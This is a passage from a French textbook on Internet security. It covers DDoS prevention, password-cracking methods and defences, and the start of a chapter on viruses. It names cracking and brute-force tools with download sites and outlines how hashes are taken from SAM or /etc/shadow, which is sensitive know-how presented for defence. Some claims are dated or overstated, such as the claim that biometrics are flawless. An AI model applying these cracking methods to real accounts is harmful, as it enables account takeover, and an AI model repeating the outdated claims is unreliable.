réseaux. Mais, dans la plupart des cas, ce type de trafic n’est nullement nécessaire
pour le fonctionnement des entreprises. Un trafic inutile est donc à bannir. Ainsi, il
ne suffit pas de se dire qu’on a besoin de faire du ping et du traceroutes ; encore
faut-il savoir de quels types de ping on a besoin et si on peut autoriser le ping pour
toutes les adresses IP ou uniquement pour quelques-unes. Ce sont des exemples de
précautions qu’un administrateur doit prendre afin de définir le plus petit sous-
ensemble de trafic nécessaire pour faire fonctionner convenablement le réseau de
son entreprise avec une optique de sécurité.

7.6.6. Blocage des adresses IP

Quand une attaque est détectée, le responsable de la sécurité informatique doit


immédiatement tenter d’identifier les adresses IP sources d’où provient l’attaque et
de les bloquer au niveau du routeur externe de l’entreprise. Le problème dans
certains cas, est que ces adresses même bloquées, le routeur externe peut être encore
inondé par un énorme trafic bloquant les requêtes des utilisateurs légitimes. Une
entreprise agressée se doit d’informer immédiatement son Fournisseur de Service
Internet (FSI) qui bloquera les paquets hostiles tout en autorisant les paquets
légitimes. En effet, les fournisseurs de service Internet ont généralement des bandes
passantes plus importantes et de multiples points d’accès.

7.7. La prévention des attaques DDoS

Les mesures évoquées dans les sections précédentes permettent uniquement de


limiter les dégâts d’une éventualle agression DDoS. Nous détaillons miantenant
d’autres mesures complémentaires qui peuvent être appliquées, telles que :
– la sécurisation du réseau
– l’installation d’un système de détection des intrusions
– l’utilisation des outils de scanning
– l’utilisation de l’outil Zombie.

7.7.1. Sécurisation du réseau

En principe, un agresseur ne sera en mesure d’installer des serveurs de DDoS sur


des machines que s’il accède au réseau et parvient à compromettre ses machines. Si
152 La sécurité sur Internet

la configuration d’une entreprise est inviolable et si les systèmes internes sont


suffisamment sécurisés, il sera difficile de transformer ces derniers en serveurs de
DDoS pour les utiliser comme outils d’attaque. Cependant, la majorité des systèmes
et des réseaux des entreprises sont peu sécurisés.

7.7.2. Installation d’un système de détection des intrusions

En matière de sécurité, la prévention est un idéal, mais la détection est une


nécessité. Si le réseau d’une entreprise est connecté à Internet, les attaques sont
inévitables. Par conséquent, il est important pour une entreprise de posséder les
outils de détection les plus performants possible. La méthode clé consiste à utiliser
des systèmes de détection d’intrusions (IDS).

Il y a deux types de systèmes de détection d’intrusions (IDS) : les systèmes à


base de réseau et ceux à base d’hôte.

Un système de détection d’intrusions à base de réseau est un élément passif


installé dans un réseau. Il a la charge de capturer tous les paquets circulant dans le
réseau en question. En analysant ces paquets, ce système cherche les signatures qui
indiquent l’éventualité d’une attaque et alerte le responsable en cas d’activité
suspecte. Le système de détection d’intrusions à base d’hôte, quant à lui, s’exécute
sur un serveur individuel et analyse activement les fichiers log d’audit cherchant des
indices d’attaques potentielles.

Pour la prévention des attaques de déni de service distribuées, les entreprises


doivent utiliser les deux types de systèmes de détection d’intrusions. La liste
suivante comporte des exemples de systèmes de détection d’intrusions couramment
utilisés : ISS RealSecure, Axent NetProwler, Cisco Secure IDS (Net Ranger), Snort,
Commercial, et Network Flight Recorder.

7.7.3. Utilisation des outils de scanning

Etant fort probable qu’un réseau ou système soit déjà compromis et ait servi
comme serveurs d’attaques de DDoS, il est urgent pour un administrateur réseau,
avant de prendre des mesures de sécurité, de procéder au scannage de son réseau ou
système afin de détecter les éventuels serveurs de DDoS, pour les désactiver et les
éliminer le plus tôt possible. Il existe plusieurs outils disponibles qui réalisent ce
type de tâches, et la plupart des scanners de vulnérabilités commerciaux sont
capables de détecter si un système a déjà été utilisé comme un serveur DDoS. Voici
quelques-uns de ces outils disponibles à l’adresse http://packetstormsecurity.nl.
Les attaques de déni de service 153

Find_ddos : cet outil détecte, dans les systèmes locaux, la présence de serveurs
de déni de service distribués. Il scanne différents types de systèmes d’exploitation et
peut détecter plusieurs programmes de DDoS, tels que : TFN2K client, TFN2K
daemon, Trinoo daemon, Trinoo master, Stacheldraht master, Stacheldraht client, et
Stacheldraht daemon.

DDoSPing : ce programme s’exécute sur une plate-forme Windows et possède


une interface graphique facile à utiliser. Il peut identifier une variété d’agents de
DDoS, tels que : Wintrinoo, Trinoo, Stacheldraht, and TFN2K.

RID : cet outil est un détecteur de serveurs de DDoS ; Stacheldraht, TFN2K et


Trinoo. Il peut être aussi configuré selon les besoins. Une fois un nouveau type
d’attaque de DDoS signalé, l’outil peut être reconfiguré par l’utilisateur pour
identifier la nouvelle menace.

Il importe de savoir que ces outils de scanning ne fonctionnent efficacement que


si les serveurs de DDoS s’installent par défaut sur les ports prévus. Un agresseur
intelligent peut configurer ces serveurs de déni de service distribués afin qu’ils
fonctionnent sur d’autres ports : les outils seront de ce fait inaptes à les détecter. Sur
une base régulière, on doit toujours vérifier le type de services qui fonctionnent sur
les ports ouverts des systèmes, afin de s’assurer que les systèmes n’ont pas de
failles.

7.7.4. Utilisation de l’outil Zombie

Dans certains cas, tant que l’attaque n’a pas encore commencé, certains outils ne
sont pas capables de signaler si un système a été utilisé comme serveur de DDoS.
Heureusement, le système de détection des intrusions prend en compte le volume
important de trafic et transmet des signaux ou alertes indiquant la présence
potentielle de problèmes. Dans ce cas de figure, l’utilisation, par exemple, de l’outil
Zombie Zapper est indiquée. Cet outil défend contre : Trinoo, TFN et Stacheldraht.
Mais, comme c’est souvent le cas pour les scanners, cet outil présuppose lui aussi
que les programmes d’attaque ont été installés sur les ports par défaut.

Résumé du chapitre 7

Les attaques de DoS peuvent causer des dégâts importants et la protection est
difficile. Par conséquent, il est urgent, pour les entreprises, et notamment celles qui
possèdent des systèmes sensibles connectés à Internet, de scanner et de vérifier leurs
réseau et systèmes. Elles doivent être conscientes des risques et penser à minimiser
154 La sécurité sur Internet

les opportunités d’attaques. Il s’avère important pour elles d’analyser leurs systèmes
et d’estimer les coûts des pertes au cas où leurs systèmes venaient à crasher.

Il existe des outils disponibles qui réalisent les deux types d’attaques : DoS et
DDoS, tels que Targa et TFN2K, qui sont en général faciles à utiliser. L’agresseur
n’a pas besoin de comprendre le fonctionnent pour réussir des attaques. Une
entreprise doit investir dans les ressources appropriées pour protéger son réseau ou
système. Sécuriser le réseau, installer un système de détection d’intrusion, utiliser
les scanners voilà les bases d’une stratégie efficace de défense et de surveillance.
Chapitre 8

Les problèmes et attaques


des mots de passe

8.1. Introduction

Dans la plupart des entreprises et chez les particuliers, l’utilisation des mots de
passe est la procédure la plus usuelle concernant la sécurité des systèmes
d’information. Malheureusement, les mots de passe constituent très souvent le
maillon faible de la sécurité des systèmes contrairement à l’idée très répandue qu’un
système protégé par un mot de passe est quasi inviolable.

Dans la majorité des cas, les utilisateurs choisissent eux-mêmes des mots de
passe faciles à retenir et par conséquent faciles à deviner par le pirate. Si ce dernier
parvient à obtenir le mot de passe, il peut accéder aux informations sensibles et
mettre le système en péril.

8.2. Problème des mots de passe par défaut

Souvent, les applications ou systèmes d’exploitation sont fournis avec des mots
de passe par défaut. Par crainte de les oublier, par paresse ou parce qu’ils sont
submergés de travail, certains administrateurs les notent dans un fichier. Pour le
pirate, dénicher ce fichier est une tâche relativement aisée. De plus, plusieurs bases
de données proposent, pour différentes plates-formes, des mots de passe. Elles sont
publiées, entre autres, à l’adresse http://security.nerdnet.com.
156 La sécurité sur Internet

8.3. L’obtention des mots de passe par script

Pour obtenir le mot de passe, le pirate écrit tout simplement un script qui
s’exécute sur sa propre machine. Ce programme script essaye, à travers le réseau, de
se connecter à la machine de la victime d’une façon répétitive. Le pirate configurera
le script en se présentant comme un utilisateur usuel probable.

L’agresseur peut aussi envoyer des scripts présentant, sous forme de boîte de
dialogue des Web, une requête demandant le nom de l’utilisateur et son mot de
passe ; puis ces informations sont renvoyées chez lui une fois obtenues. Diverses
autres méthodes peuvent être aussi utilisées. Si le succès n’est pas obtenu, le pirate
réitère ces opérations jusqu’à ce qu’il obtienne gain de cause.

Alors que certains pirates écrivent leurs scripts, d’autres utilisent l’outil THC-
Login Hacker. Souvent des outils offrent d’autres fonctionnalités incluant même des
programmes de « Brute force »1 :
– Brute_ssl et brute_web par BeastMaster : ces outils essayent d’obtenir des
mots de passe pour l’authentification http et/ou https, ils sont disponibles à
l’adresse : http://packetstormsecurity.org.
– Authforce, par Zachary P. Landau, essaye d’obtenir des mots de passe en se
connectant à un serveur Web (pour l’authentification http), disponible à l’adresse :
http://kapheine.hypa.net/authforce/index.php.
– Somarsoft, un outil pour obtenir des mots de passe sous Windows NT
disponible à : http://packetstormsecurity.org.
– Hypnopaedia, par NullString, un outil pour des emails utilisant le protocole
POP3, disponible à l’adressse : http://packetstormsecurity.com.
– Sur le site PacketStorm (http://packetstormsecurity.com/Crackers), il existe
aussi plusieurs outils de recherche et d’essai des mots de passe.

L’obtention des mots de passe par la démarche du script est très longue mais
pour parvenir à leurs fins, le temps passé importe peu pour les pirates.

A part le problème de durée, il y a aussi les limites des techniques et la charge


successive vers la cible qui peut générer un volume de trafic anormal détectable par
l’administrateur ou par un système de détection d’intrusion.

1 Voir plus bas, 8.4.2.


Les problèmes et attaques des mots de passe 157

Pour faire face à ce genre d’attaque, il suffit d’avoir un compte bloqué. En effet
certains systèmes sont configurés de telle sorte que si un nombre de mots de passe
incorrects sont entrés, le compte de l’utilisateur se bloque.

Dès lors, les essais du pirate sont détectés ou significativement ralentis. Le


principe de limitation du nombre des mots de passe est donc un moyen fiable face à
ces attaques basées sur l’écriture de scripts. Cependant, rien n’empêchera le pirate
de procéder à une attaque de déni de service pour tout bloquer.

8.4. Le craquage et le stockage des mots de passe

En général, l’obtention des mots de passe par défaut ne réussit pas. La démarche
du script, nous venons de le voir, exige du pirate un certain temps qui risque de le
faire repérer. Une méthode pour éviter ces inconvénients consiste carrément à
craquer les mots de passe. Pour comprendre le processus de craquage, il importe de
savoir au préalable comment les mots de passe sont stockés dans la plupart des
systèmes.

Quel que soit le système d’exploitation, quand on se connecte à un élément


physique, un I.D. (identifiant d’utilisateur) et un mot de passe sont exigés pour
l’authentification. Le système vérifie si ces informations sont valables avant de
prendre la décision de laisser logger ou pas. La décision est basée sur la
comparaison des éléments d’un fichier de mots de passe local avec le mot de passe
entré. Malheureusement, le fichier de mots de passe des utilisateurs possède souvent
une sécurité insuffisante et non fiable. Un pirate ayant accès à ce fichier pourrait
alors se substituer à n’importe quel utilisateur et se logger.

Pour faire face à ce problème, les concepteurs des systèmes ont décidé d’appliquer
la cryptographie pour la protection du fichier des mots de passe. Dès lors ce fichier
contient les identifiants des utilisateurs et leurs mots de passe hachés ou cryptés.
Quelques systèmes utilisent purement l’algorithme DES (Data Encryption Standard)
qui exige une clef. D’autres utilisent le MD4 (Message Digest 4), une fonction qui
compacte et transforme les mots de passe. De ce fait, grâce à ces systèmes, le pirate ne
pourra plus obtenir en clair les mots de passe.

8.5. Les techniques de craquage des mots de passe

Le craquage des mots de passe consiste à voler les mots de passe codés et
essayer de les décoder en utilisant un outil automatique. Ce processus applique la
démarche bouclée suivante :
158 La sécurité sur Internet

– Créer un mot de passe présupposé ;


– Exécuter le codage de ce mot de passe ;
– Comparer le résultat précédemment obtenu avec le mot codé volé ;

Si le résultat est le même alors on obtient le mot de passe, sinon on recommence


l’opération.

Pour craquer les mots de passe, le pirate suit la méthode décrite ci-dessus. Dans
son optique, ce processus est fantastique car il peut travailler tranquillement chez lui
et n’utilise pas la machine de la victime. Pour ce faire, il suffit de voler le fichier
crypté des mots de passe puis de travailler à son aise depuis sa machine ou depuis
une plate-forme qui lui convient. Ceci est donc plus pratique et plus rapide que la
démarche du script.

8.5.1. Attaque des dictionnaires

Un outil de craquage des mots de passe peut engendrer des mots de passe
présupposés de manières différentes. Comme la plupart des gens utilisent un
dictionnaire commun des mots de passe, lancer une attaque des dictionnaires
pourrait être un bon départ. Ce type d’attaque prend en compte un fichier qui
contient la plupart des mots courants d’un dictionnaire et les utilise pour deviner les
vrais mots de passe des utilisateurs. Bien entendu si le mot de passe cible n’est pas
dans le dictionnaire, l’attaque est vouée à l’échec.

Les pirates adaptent ce type de dictionnaires pour l’entreprise ou pour les


utilisateurs cibles. Si un grand nombre de personnes utilisent un mot du contexte de
leur travail, ce mot est ajouté au dictionnaire. Il existe même un grand nombre de
dictionnaires précompilés sur Internet comprenant même des dictionnaires en
langues étrangères et même spécifiques par type d’entreprise.

8.5.2. L’attaque de « Brute Force »

En plus des procédés utilisés pour deviner les mots de passe, plusieurs outils de
craquage des mots de passe offrent le principe de Brute Force. Pour ce type
d’attaque, l’outil utilise toutes les combinaisons possibles de caractères pour
proposer et deviner le mot de passe convoité. La plupart de ces outils commencent
par les caractères alphanumériques puis proposent des caractères spéciaux (comme :
!&”$, etc.). Malgré la rapidité de ces outils, Brute Force nécessite un laps de temps
assez conséquent pouvant aller d’une semaine à quelques mois. Cependant, si le mot
de passe est court, cette technique pourrait fournir des résultats assez rapidement.
Les problèmes et attaques des mots de passe 159

8.5.3. L’attaque hybride

L’attaque hybride est la combinaison du craquage rapide d’un dictionnaire limité


et d’un processus long mais efficace de Brute Force. Dans une attaque hybride,
l’outil commence par deviner le mot de passe recherché grâce aux mots d’un petit
dictionnaire, puis passe aux mots nouveaux à la manière de Brute Force. Ce type
d’attaque pourrait parfois être très efficace pour la détermination d’un mot de passe.

8.6. Les outils de craquage des mots de passe

Les outils de craquage des mots de passe existent depuis longtemps et un grand
nombre est disponible aux adresses suivantes :
– L0phtCrack, un outil de craquage sous Windows NT/2000 facile à utiliser,
disponible à l’adresse : http://www.l0pht.com/.
– John the Ripper, un outil conçu par Solar Designer pour craquer les systèmes
d’UNIX, disponible à l’adresse : http://www.openwall.com/john/.
– Crack, par Alec Muffet, parmi les plus anciens outils de craquage d’Unix,
disponible à l’adresse : http://www.users.dircon.co.uk/~crypto/.

Nous présentons ci-dessous les deux outils de craquage les plus puissants à ce
jour : L0phtCrack et John the Ripper.

8.6.1. L0phtCrack

C’est un outil de sécurité très connu pour plusieurs raisons. Il est facile
d’utilisation et étonnamment rapide pour craquer les systèmes Windows NT et
Windows 2000. C’est aussi un excellent testeur pour les mots de passe NT. Il peut
être utilisé également comme outil d’audit des faiblesses des mots de passe. De ce
fait, chaque administrateur de sécurité NT devrait posséder cet outil. En l’activant
sur une base de données, il peut identifier les mots de passe non sécurisés et forcer
les utilisateurs à les changer et ce avant qu’une personne mal intentionnée ne
parvienne à craquer les mots de passe du réseau.

Par défaut, L0phtCrack utilise respectivement les trois méthodes de craquage


suivantes : craquage à l’aide d’un dictionnaire, craquage hybride et craquage par
Brute Force. Il fonctionne avec un dictionnaire contenant plus de vingt cinq mille
mots et l’utilisateur peut télécharger et ajouter d’autres fichiers au dictionnaire.
160 La sécurité sur Internet

L’outil commence donc à craquer les mots de passe à l’aide d’un dictionnaire et si
la méthode échoue, il passe à l’attaque hybride. Cette dernière consiste à modifier le
dictionnaire suivant la logique que pratique les personnes désirant créer des mots de
passe sécurisés. Puis l’outil ajoute des chiffres et des caractères spéciaux au
dictionnaire. Si cette méthode hybride échoue à son tour, l’outil applique Brute Force
en essayant toutes les combinaisons possibles avec les chiffres, les lettres et les
caractères spéciaux jusqu’au succès. L’ajout de ressources supplémentaires peut
accélérer le processus, mais la durée sera toujours assez conséquente car la Brute
Force essaie tous les cas de figures. Cependant, L0phtCrack travaille uniquement pour
les mots de passe de NT et ne fonctionne que sur les plates-formes Windows NT.

Figure 8.1 : Le craquage des mots de passe avec l’outil L0phtCrack


(mot de passe identifié : trabelsi)

Crypté ou haché, le fichier des mots de passe est dans la base sécurisée de NT,
comme la base de données SAM ou le compte Manager sécurisé. Pour utiliser
efficacement l’outil L0phtCrack, le pirate tente d’obtenir une copie des éléments
représentatifs des mots de passe crypté/haché stockés dans la base de données SAM
de la machine cible. Or pour ce faire, L0phtCrack a lui-même inclus le « pwdump »
pour vider et dévoiler les éléments des mots de passe de Windows NT à partir de la
machine locale ou à partir de n’importe quelle autre machine du réseau. Cependant
cette possibilité exige le privilège de l’administrateur sur la machine cible où la base
Les problèmes et attaques des mots de passe 161

SAM est stockée. L’attaquant a aussi plusieurs options pour obtenir une copie de ces
éléments. Par exemple, il peut intervenir au moment où le système exécute une
sauvegarde et découvrir ces éléments. L0phtCrack offre aussi la possibilité d’obtenir
ces mots de passe en sniffant à travers le trafic du réseau. Cet outil offre encore un
module intégré SMB Packet Capture qui permet de piloter le réseau local et de
capturer les paquets du processus d’identification de Windows. Une fois ces paquets
capturés, L0phtCrack peut les craquer et déterminer les mots de passe de
l’utilisateur. La Figure 8.1 montre le résultat de craquage des mots de passe d’une
machine grâce à L0phtCrack. Le mot de passe identifié est : « trabelsi ».

8.6.2. John The Ripper

Contrairement à L0phtCrack qui fonctionne uniquement sous le système


Windows, John The Ripper (www.openwall.com/john) tourne sous différentes
plates-formes incluant les variantes d’Unix, de DoS, de Win9x, de Windows NT et
Windows 2000. Mais l’utilisateur doit rentrer les commandes ligne par ligne, pour
manque d’interface graphique.

Il importe de savoir que la plate-forme Unix nécessite un fichier de mots de


passe et un autre de masquage (shadowed) qui se trouvent respectivement dans les
répertoires « /etc/passwd » et « /etc/shadow ». Pour Windows NT, ce sont le fichier
SAM et les différents fichiers contenant les mots de passe hachés de NT.

A l’instar de L0phtCrack, John the Ripper supporte différents modes passant


d’un mode simple de défaut en exécutant le craquage à l’aide d’une liste de mots et
de règles simples au mode d’incrémental automatique. Le mode simple utilise aussi
les informations du logging et les mots de passe obtenus ou devinés à partir des
autres comptes. Le mode incrémental est analogue au mode de Brute Force de
L0phtCrack. Par défaut, le mode incrémental utilise l’ensemble des 95 caractères et
toutes les combinaisons des mots de passe allant jusqu’à une longueur de 8
caractères. John the Ripper permet de choisir, dans le mode incrémental, des options
telles que le choix d’utilisation des alphabets, des numériques, et d’une longueur
présupposée des mots de passe. Il permet aussi de créer un ensemble de nouveaux
types de caractères si l’utilisation des caractères non usuels est détectée.

Pour utiliser l’outil John the Ripper, la possession d’un fichier de mots de passe
est exigée. Si le système utilise le principe de shadow (cacher ou crypter les
fichiers), pour mettre à jour ou en clair le fichier caché des mots de passe, l’usage
d’un outil est indispensable avec Unix. Pour Windows NT, par contre, il suffit de
trouver le fichier SAM ou les fichiers contenant les mots de passe hachés.
162 La sécurité sur Internet

8.7. Les défenses contre les attaques de craquages des mots de passe

Pour se défendre contre les attaques de craquages des mots de passe, l’utilisateur
se doit de s’assurer qu’il n’a pas choisi de mots de passe prévisibles ou facilement
accessibles à un outil automatique. Il faut varier et combiner les techniques de
défense et établir une politique forte de sécurité des mots de passe.

8.7.1. Une politique forte de sécurité

Une politique de sécurité forte est un élément crucial pour s’assurer de la sécurité
d’un système. Une entreprise doit avoir une politique explicite quant à l’élaboration
des mots de passe, en spécifiant une longueur minimale et prohibant l’utilisation des
termes connus des dictionnaires. Les mots de passe doivent comporter au moins
neuf caractères, et inclure des caractères non alphanumériques. En outre, la durée de
vie d’un mot ne doit dépasser 90 jours. Cette durée de vie peut être définie en
fonction de la sensibilité, de la culture propre à l’entreprise et de l’importance
accordée à la sécurité. L’outil « Password Policy Enforcer », téléchargeable au site
« www.anixis.com » permet aux administrateurs de définir et d’imposer dans leurs
entreprises des politiques de sécurité renforcées relatives aux mots de passe. La
Figure 8.2 montre, par exemple, comment un administrateur peut imposer la taille
minimale et maximale des mots de passe créés par les utilisateurs. Chaque mot de
passe ne respectant pas cette politique de sécurité sera rejeté.

Figure 8.2. L’outil « Password Policy Enforcer »


Les problèmes et attaques des mots de passe 163

Cette politique de sécurité concernant les mots de passe doit être accessible et
explicitée clairement aux employés de l’entreprise, grâce à l’utilisation, par exemple,
d’un site Web interne ou à des guides internes.

8.7.2. La prise de conscience des utilisateurs

Pour se conformer à la politique de sécurité de l’entreprise, les utilisateurs


doivent prendre connaissance des problèmes associés aux mots de passe faibles et
être formés pour l’élaboration des mots de passe à la fois faciles à retenir par eux, et
difficiles à deviner par d’autres. La méthode de la première lettre de chaque mot
d’une phrase mémorable, combinée avec des nombres et des caractères spéciaux est
l’une des plus efficaces. Un programme de sensibilisation axé sur la sécurité de
l’entreprise et sur l’utilisation des mots de passe est primordial. Un tel programme
peut prendre plusieurs formes :
– affichage de posters sur les lieux du travail ;
– organisation d’une formation ciblée ; etc.

8.7.3. Les outils de filtrage des mots de passe

Pour être sûr que les utilisateurs n’ont pas choisi des mots de passe faibles, le
responsable est appelé à utiliser des outils de filtrages des mots qui empêchent de
sélectionner des mots de passe faciles à deviner. Quand un utilisateur ouvre un
compte ou change son mot de passe dans un système, ces programmes de filtrages
vérifient le nouveau mot de passe et évalue sa conformité à la politique de sécurité
de l’entreprise.

Pour être efficace, les outils de filtrage des mots de passe doivent être installés
dans tous les serveurs où les utilisateurs peuvent créer des mots de passe. Plusieurs
variantes modernes d’Unix incluent des outils de filtrage de mots de passe. Pour les
versions qui n’intègrent pas de tels outils, une variété d’outils est fournie par
d’autres fournisseurs :
– Npasswd, disponible à ftp://ftp.cc.utexas.edu/pub/npasswd ;
– Passwd+, disponible à ftp://ftp.dartmouth.edu/pub/security.

Pour l’environnement Windows NT, vous pouvez faire votre choix à partir de la
liste suivante :
– Password Guardian, disponible à l’adresse : http://www.georgiasoftworks.com
– Strongpass, disponible à l’adresse : http://ntsecurity.nu/toolbox/
164 La sécurité sur Internet

– Passprop, un outil de Microsoft fourni dans « Windows NT Ressource Kit


Server Supplement 4 »
– Passfilt.dll, un simple outil de filtrage des mots de passe inclus dans Service
Pack 2.

Pour contrôler un mot de passe, on doit vérifier s’il est suffisamment complexe
et s’il n’est pas juste une variation, une combinaison du nom de l’utilisateur avec
son prénom ou des mots issus d’un dictionnaire. Grâce à ces outils, on évite les mots
de passe qui violent la politique de création des mots de passe instaurée. Cependant,
il est conseillé de ne pas brimer la créativité de certains utilisateurs qui peuvent
imaginer des mots de passe forts, améliorant ainsi et de façon significative la
sécurité de l’entreprise.

8.7.4. Les outils d’authentification

Une des raisons principales qui encourage le craquage des mots de passe est
l’utilisation excessive des mots de passe traditionnels et réutilisables. Pour des
systèmes particulièrement sensibles ou pour les authentifications à travers des
réseaux non sûrs, l’utilisation des authentifications basées sur des mots de passe
traditionnels doit être bannie. A la place, nous préconisons des mots de passe à
usage unique « One-time », les cartes intelligentes « Smart Cards » ou la biométrie.

8.7.4.1. Les mots de passe à usage unique


Les mots de passe à usage unique sont très efficaces contre les agresseurs qui
essayent de les deviner parce qu’ils changent à chaque connexion ou logging. Ce qui
veut dire qu’il n’existe plus de mots de passe à deviner. L’inconvénient de cette
technique est le coût de son implémentation, sa complexité, et le coût du suivi pour
la continuité de l’opération. La forme la plus commune des mots de passe à usage
unique consiste à utiliser les cartes intelligentes (Smart cards). L’utilisateur est libre
de ses mouvements et peut emporter sa carte avec lui pour se connecter au système
partout où il va. Les mots de passe affichés par la carte intelligente changent toutes
les minutes. Ainsi, quand l’utilisateur veut se connecter, il lit le mot de passe courant
affiché et l’utilise comme mot de passe à ce moment-là. Le seul problème avec ces
cartes intelligentes est leurs remplacements quand elles sont perdues ou volées.

Plusieurs entreprises utilisent le procédé des mots de passe uniques en plus des
mots de passe normaux. Par exemple, quand un employé est à l’intérieur de
l’entreprise, il doit utiliser son mot de passe régulier ou normal. Par contre, en
dehors de la société et s’il veut se connecter à distance, il devra utiliser un mot de
passe unique. L’utilisation conjointe de ces deux types de mots de passe contribue à
Les problèmes et attaques des mots de passe 165

augmenter la sécurité de l’entreprise, puisque le processus d’authentification est


maintenant basé sur quelque chose que vous posséder et sur quelque chose que vous
savez.

Une autre forme moins coûteuse consiste à utiliser des mots de passe uniques à
base des produits logiciels. Une implémentation possible peut se faire avec le
produit SKEY. SKEY utilise des mots de passe uniques qui sont déterminés
seulement au démarrage du système. Chaque utilisateur reçoit alors une liste de mots
de passe, et utilise un mot différent à chaque connexion. Cependant, le point faible
de cette technique se situe sur la liste des mots de passe, résidante dans l’ordinateur
de l’utilisateur, ainsi il est très facile pour un pirate d’y accéder.

8.7.4.2. La biométrie
La biométrie authentifie un utilisateur sur la base des facteurs humains, tels que
l’empreinte digitale ou celle de la main, le balayage et la reconnaissance de la rétine
ou de la voix. Ces méthodes sont très fiables et la perte ou les problèmes de vol sont
inexistants. En effet, l’identification de la biométrie est sans faille et il n’y a rien à
voler, tout est personnel et rattaché à chaque utilisateur physiquement.

Il y a plusieurs solutions de biométrie disponibles pour les ordinateurs à ce jour.


Le seul inconvénient est le coût, puisqu’un équipement d’authentification
biométrique est spécifique à chaque machine. Bien que la biométrie soit sûre et
fiable, il n’en demeure pas moins qu’il existe quelques difficultés avec des
utilisateurs ayant des problèmes de santé comme les personnes sensibles et
allergiques. Pour des informations supplémentaires sur la biométrie, nous renvoyons
au site de référence www.biometricgroup.com.

8.7.5. L’inventaire des comptes actifs

Les comptes actifs, qui appartiennent à des employés en vacances ou qui ne sont
plus salariés de l’entreprise, présentent une vulnérabilité certaine. En effet, pour un
agresseur, ces comptes sont très faciles à compromettre puisque personne n’est en
train de les utiliser régulièrement pour détecter des accès non autorisés.

Une entreprise doit avoir une politique définie pour vérifier les comptes actifs et
supprimer les comptes inactifs. Le cas échéant, un pirate peut créer un compte
fantôme dans un système, lui permettant un accès au « root » alors que son existence
même est impensable.
166 La sécurité sur Internet

8.7.6. La protection des fichiers des mots de passe

Une technique très importante pour se défendre contre les outils de craquage des
mots de passe est de protéger les fichiers cryptés/hachés des mots de passe. Si un
pirate ne peut pas voler le fichier des mots de passe ou la base de données SAM, il
est incapable de craquer les mots de passe en masse. La protection soignée de toutes
les sauvegardes du système incluant les fichiers de mots de passe ou tout autre type
de données sensibles est impérative. Dans tous les systèmes Unix, le password
shadowing » (le processus de masquage des mots de passe) doit être activé. Dans les
systèmes Windows NT et 2000, l’outil SYSKEY de Microsoft qui fournit un
minimum de protection supplémentaire pour les mots de passe permet une
cryptographie de 128 bits de la base de données SAM.

8.7.7. Audit concernant les accès aux fichiers clés

Puisque le craquage des mots de passe est très performant et se réalise dans la
plupart des cas hors connexion, le seul moyen pour détecter le pirate est de le repérer
à l’instant où il accède à la base des données SAM. Même si les logs d’audit ne sont
pas contrôlés régulièrement, l’entreprise doit avoir des scripts qui les scannent pour
détecter d’éventuelles intrusions dans les fichiers sensibles. Au cas où une intrusion
est détectée, très probablement quelqu’un tente de compromettre le système ou l’a
même déjà fait. Des actions immédiates sont à entreprendre comme, par exemple,
balayer les fichiers clefs afin de détecter de potentiels accès. Dès lors l’utilisation
d’un programme tel que Tripwire pourrait être un bon début de défense et devrait
désormais être inclus dans le plan de sécurité. Le seul problème concernant ce
processus, est que ce type de programme détecte seulement les fichiers qui ont déjà
subi des modifications. Il faut, toutefois, espérer que le pirate n’a mené que des
tentatives d’accès et de lecture.

Résumé du chapitre 8

Dans ce chapitre, nous avons montré que la sécurité des mots de passe est à
prendre très au sérieux. Une entreprise qui se veut sécurisée devrait instaurer une
politique de mots de passe et exiger de son personnel des mots de passe forts et
fonctionnels, c’est-à-dire difficiles à craquer. Une sensibilisation ainsi qu’une
formation spécifique sont parfois nécessaires. En effet, il arrive que le maillon faible
se situe dans des mots de passe facilement déchiffrables. C’est par ce point faible
que les pirates, aidés par des outils de craquage performants, sont en mesure de
prendre le contrôle du système d’un utilisateur, puis de tous les systèmes de
l’entreprise. Plusieurs outils de défense sont disponibles allant des outils de filtrage
Les problèmes et attaques des mots de passe 167

des mots de passe jusqu’aux systèmes biométriques en passant par des outils
d’authentification. Mais le choix et les implémentations doivent être bien réfléchis
en fonction de la politique de sécurité choisie par l’entreprise et du budget alloué.

En parallèle, des tests et des craquages périodiques sont à exécuter à titre


préventif. L0phtCrack et John the Ripper sont deux outils performants à avoir
impérativement dans la boîte à outils de l’entreprise.
Chapitre 9

Les problèmes de virus

9.1. Introduction

Avec actuellement plus de 50 000 types, sans compter les variantes et les
mutants, le monde des virus informatiques est trop vaste pour qu’on prétende en
aborder tous les aspects et en présenter tous les problèmes. Dans ce chapitre, nous
allons tenter de familiariser le lecteur avec les principes de fonctionnement des
virus, leurs classifications et donner quelques recommandations et conseils. En effet,
les seuls détails concernant les virus dépasseraient le cadre d’un volume.

Après un bref historique, nous présentons un essai de classification des virus,


leur principe de fonctionnement et la manière de les détecter et de les prévenir. En
dernier lieu, nous suggérerons quelques conseils afin d’éviter le pire concernant les
infections des systèmes.

9.2. Histoire des virus

Avec la découverte par le mathématicien et père de l'informatique, John Von


Neuman, des mécanismes d'autocopie de logiciels, le principe des virus est apparu
vers le début des années 50. A l'époque, ils étaient encore inoffensifs. Une dizaine
d’années plus tard, les techniques de destruction passent à une vitesse supérieure
avec le jeu Core War. Créé dans les laboratoires BELL de la compagnie ATT, ce jeu
consistait à installer sur une partie délimitée du disque dur d'un ordinateur deux
programmes d’attaque. La victoire revenait à celui qui arrivait à détruire le
170 La sécurité sur Internet

programme de l’autre ou à occuper le plus de place en mémoire et/ou sur disque dur.
Les vrais virus étaient donc nés.

Plus tard, vers les années 80, le phénomène des virus possède déjà sa légende
selon laquelle la frustration serait à l’origine du désir destructeur chez les premiers
concepteurs de virus. En effet, des frères pakistanais d’une famille du nom de
Amjad, qui tiennent un magasin informatique sont irrités par le piratage
informatique ; ils développent alors le premier virus informatique, un virus de
secteur de démarrage appelé Brain. Depuis, le phénomène ne cesse de prendre des
dimensions incontrôlables.

De nos jours, même pour un non-utilisateur d’ordinateur, les termes de virus ou


de ver informatique sont familiers car ils font fréquemment la une des journaux et
constituent un thème de prédilection pour studios hollywoodiens (Independence
Day, ou Hackers).

Cependant, même parmi les utilisateurs, nombreux sont ceux qui pensent que la
seule action des virus se résume à la destruction des disques durs et ignorent qu’il en
existe plusieurs types et qu’ils n’ont pas le même fonctionnement ni le même rayon
d’action.

Dans ce qui suit, nous allons d’abord tenter une typologie des virus en fonction
de critères sans équivoques. Dans une première approche nous allons distinguer
ceux qui sont résidents en mémoire et ceux qui ne le sont pas.

9.3. Qui développe les virus ?

Parmi les concepteurs de virus, on recense toutes sortes d’individus,


